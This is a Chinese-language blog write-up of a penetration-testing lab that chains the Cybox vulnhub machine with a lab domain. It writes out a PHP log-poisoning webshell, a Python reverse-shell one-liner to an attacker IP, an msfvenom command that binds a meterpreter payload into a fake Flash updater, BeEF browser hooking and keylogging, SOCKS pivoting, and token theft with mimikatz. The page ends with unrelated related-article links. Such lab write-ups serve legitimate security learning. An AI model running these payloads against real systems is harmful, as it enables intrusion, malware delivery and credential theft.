缝合怪打缝合靶场~

访客4年前黑客资讯785

概述

利用红日靶场四加vulnhub靶机,缝合靶场的学习记录,前期准备中记录了vulhub项目的漏洞复现学习。在学习环境中可以不断利用缝合这几种方式/环境进行学习--我是缝合怪!~

  • Cybox-Web靶机-提权

  • Msf联动Beef进内网

  • proxychain-sock5 ***

  • MS17-010提权system

  • 令牌窃取域管理员

准备工作

此次共三台机器,红日靶场四中的域PC和域DC,加上Cybox 1.1的Web靶机。

需要更改攻击机的/etc/hosts和DC中dns的解析。将cybox.company设置为web靶机的IP。

热身-vulhub

? ? ? ?该靶场中的原有web机器是搭建好的vulhub 项目,一键构建对应漏洞的docker容器,方便进行漏洞学习/浮复现。这里推荐使用git clone整个项目,有变动的时候直接git pull即可。热身准备docker-未授权,搞一下~~

构建漏洞容器

sudo su?
##以sudo调用su,su是切换用户的命令,sudo是以ROOT权限执行切换,切换到ROOT输入本账户密码。
docker-compose build?
docker-compose up -d
git pull
##构建容器,启动容器,down是关闭容器,git pull 在本地拉取远程仓库同步。

获取shell

Cybox-1.1-Web

信息收集

获取子域名---目录爆破---兔子洞陷阱---越权修改密码---文件包含日志RCE---sudo提权

此靶机的ftp,ckeditor,webmail这三个地方是兔子洞,像漏洞……

webmail的squ 1.4.22版本存在可利用exp但是无法执行。

ftp的根目录在用户的$HOME写不了webshell。

ckeditor没有找到上传点……

gobuster vhost -u http://cybox.company -w 'dict' -t 64

python3 dirsearch.py -e * -L url.txt -t 32 -x 400,403

注册用户

? 根据页面创建普通用户,得到cybox的用户名和密码,该用户可以登陆webmail系统

越权漏洞

? ? ? ?在monitor系统利用重置密码功能,在收件箱查收到重置链接后修改email参数为admin即可重置admin账户密码

文件包含

? ? ? ?在monitor系统的admin页面查看源码可以发现styles动态加载,存在php文件包含漏洞,在dev.cybox.company页面可以查看到phpinfo信息.

根据apache2路径在日志文件中写入<?php system($_GET['shell']);?>,首先包含apache2的/opt/bitnami/apache2/logs/access_log路径看到日志存储的是ftp.cybox.company站点的日志在浏览器中按CTRL+SHIFT+I组合键在network中选择数据包选择'edit and resend'将php代码写入agent中发送即可。

反弹shell

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('攻击ip',443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
##在这个靶机中因为设置了iptables白名单有严格的out和input链,反弹只能从21、25、80、443、110、143端口output。


sudo提权

? ? ? ?利用github中找到的 *** art-linux-enum,使用该脚本进行枚举/信息收集,查找可以提权的点。

? ? ? 发现可疑/opt/registerlauncher程序,在同目录下发现源码,查阅后发现该源码为register页面结合看到的hahah用户判断此功能为注册页面register的功能实现,尝试创建多个用户后发现用户sudo可以执行任意sudo命令,以sudo su命令提权ROOT成功。在该靶机查看/etc/sudoers文件发现用户组%admin和%sudo拥有sudo权限,创建sudo用户的同时,sudo也在sudo同名组。

内网渗透

? ? ? 发现该机器存在白名单的iptables限制,本意不打算修改。该系统为目标的公司系统,控制了web系统后修改web页面的php文件增加beef的hook,横向扩展使用msf联动beef的方式进行。

beef文件修改

修改beef的配置文件,此处只做示例,详细情况根据自己的环境和想法修改。beef配置文件采用yaml格式,内部有注释,通俗易懂。

  • extension扩展打开

  • 修改默认用户/密码

  • 修改默认文件名/路径

  • 修改默认端口

默认kali环境下路径为

/usr/share/beef-xss/config.yaml

在最后的扩展部分找到msf设置为true,其余的端口密码,路径文件名全都在该文件中,看注释或者单词名即可。篇幅原因就不粘贴出来了。

/usr/share/beef-xss/extensions/metasploit/config.yaml

在第二张截图是msf扩展部分,其中端口是msf默认的api接口,beef会和这个端口通讯,其中账户和密码也是默认的,可以修改,也可以不改。后续在msf加载的时候同步修改即可。最下面一部分需要根据自己的msf安装路径进行填写,需要让beef找到msf。

修改配置完成之后需要先打开msf,执行load msgrpc ServerHost=XXXXX Pass=XXXXX,加载成功后打开beef,beef默认需要ROOT执行,msf也必须以ROOT执行,我在不同权限启动的时候出现了报错,可能会无法访问msf的api接口,最新版msf以ROOT权限启动使用kali系统自身的postgresql。

fake-flash更新

? ? ? 在主页修改完成之后,在beef中即可看到用户上线,执行keylogger记录后,可以查看到用户的基本情况,以及在当前页面的键盘记录。我们模拟用户在域PC上面进行登陆,访问自己的register.cybox.company我们操作beef进行更新提示,诱导用户下载执行自己的恶意flash.exe程序。

msfvenom -a x86 --platform windows -x flashplayer_32_ax_debug.exe -k -p windows/meterpreter/reverse_tcp lhost=XXXX lport=XXX -e x86/shikata_ga_nai -i 3 -b "\x00" -f exe -o flashplayer.exe 
首先在 *** 上找到一个flash的更新程序,利用msfvenom程序将木马捆绑在该程序上,'-k'选项的意思是不影响flash程序的本身功能,'-e -i'执行3次编码,'-b'是将可能影响程序的坏字符\x00剔除,这么 *** 完之后不能使用upx加壳。也可以用msfvenom *** shellcode加载的方式。

?

也可以利用 msf的autopwn模块联动beef的点击劫持自动化攻击访问者的浏览器,autopwn会根据访问者的浏览器自动进行exp利用。

UAC限制

正好顺着这个,用令牌窃取的方式获取域管理员权限。后续用管理员查看后发现本机的UAC设置开启的更高级别。

获取shell-douser

proxy chain ***

run get_local_subnets
run autoroute -s XXXX/24
获取本机网段,添加路由。
background 返回主页面
use auxiliary/server/socks_proxy
set srvhost XXXX 本机IP
socks中还有端口,账户,密码。都可以选择性更改。
最终的socks服务器将会把所有流量 *** 进这个meterpreter会话,使用这个通讯连接转发。

MS17-010漏洞

proxychains nmap -sV --top-ports 3000 XXXXX -Pn -T4
proxychains nmap -sV -p445 -iL ip.txt? -Pn --script  *** b-vuln-ms17-010
使用nmap进行top-3000端口扫描,-Pn禁止存活探测,验证ms17-010漏洞


令牌窃取

? ? ? ?kiwi_cmd就是执行mimikatz的命令,在msf中加载需要load kiwi。使用incognito令牌窃取,域管理员登陆过这台机器之后即可窃取域管理员身份令牌。

list_tokens -u? ##查看当前内存中的令牌
impersonate_token DEMO\\Administrator ##窃取域管理员令牌
chcp 65001 ## 切换英文,中文乱码
net view ##查看网内计算机名
nbtstat -A IP ## 根据IP查计算机名,在这里我们dc也是dns。没有dns解析找不到dc的。
dir \\DC\C$ ##以域管理员身份对DC执行dir命令
kiwi_cmd -f lsadump::sam? ###查看本地sam账户密码库
kiwi_cmd -f kerberos::list ###列出kerberos

总结

不断瞎搞各种各样的环境~~

学习一年多的一只新菜鸟,上文有任何错误之处请各位大哥尽情指出,还需要和各位前辈多多学习。

本人博客:https://dnie9.com/ ,刚开张半个月混个脸熟。

相关文章

2020年下半年,你对旅游行业还有信心吗?

2020年下半年,你对旅游行业还有信心吗?

编辑导语:2020年,疫情来袭,突如其来的劫难将人们的事情和糊口通通打乱,转眼间上半年已经已往了。旅游行业应该是这一轮疫情中影响很是大的财富之一,这个行业聚积和依附了许多的贸易单位,每一家倒闭的公司背...

蚂蚁花呗怎么提前全部还款?提前还款有坏处么

蚂蚁花呗怎么提前全部还款?提前还款有坏处么

当你想要了解蚂蚁花呗怎么还款时,首先恭喜你,你获得蚂蚁花呗的消费额度,其次还要恭喜你,你有良好的金融信用意识,这会让你终身收益。下面我们就直接进入主题,来看一下蚂蚁花呗怎么还款以及花呗提前还款。 蚂...

更好解决看病难、看病顾斐贵问题 “惠民保”带来真

  提供更丰富医疗保障,更好解决看病难、看病贵问题   “惠民保”带来真实惠(财经眼)   本报记者 屈信明   《 人民日报 》( 2021年01月25日 第 18 版)   北京京惠...

北京市高档商务预约 北京市绝品商务商务伴游【王之柔】

北京市高档商务预约 北京市绝品商务商务伴游【王之柔】 今日给大伙儿共享的內容是“北京市高档商务预约 北京市绝品商务商务伴游【王之柔】”,我是王之柔,来源于济南,2020年25岁,做为岗位:未表露,我喜...

什么叫有效数字(科学计数法和有效数字的概念是什么) 子晨SEO博客

什么叫有效数字(科学计数法和有效数字的概念是什么) 子晨SEO博客

在初中数学讲义中,我们进修了科学计数法和有效数字,可是你对科学计数法和有效数字有几多相识呐,下面是我对其一些总结,但愿对各人有用。 界说: 把一个大于10的数暗示成a×10n的形式(个中a是整数数位...

godzilla(godzilla音乐)

ゴジラVS海底军舰(M1)-失野大介 这个确实很难找,你的兴趣确实独特,网上直接找貌似很难找到!但是我们可以制作!我们下好一部电影片段,然后用音频处理。 上verycd.com去找,免费下的,肯定有!...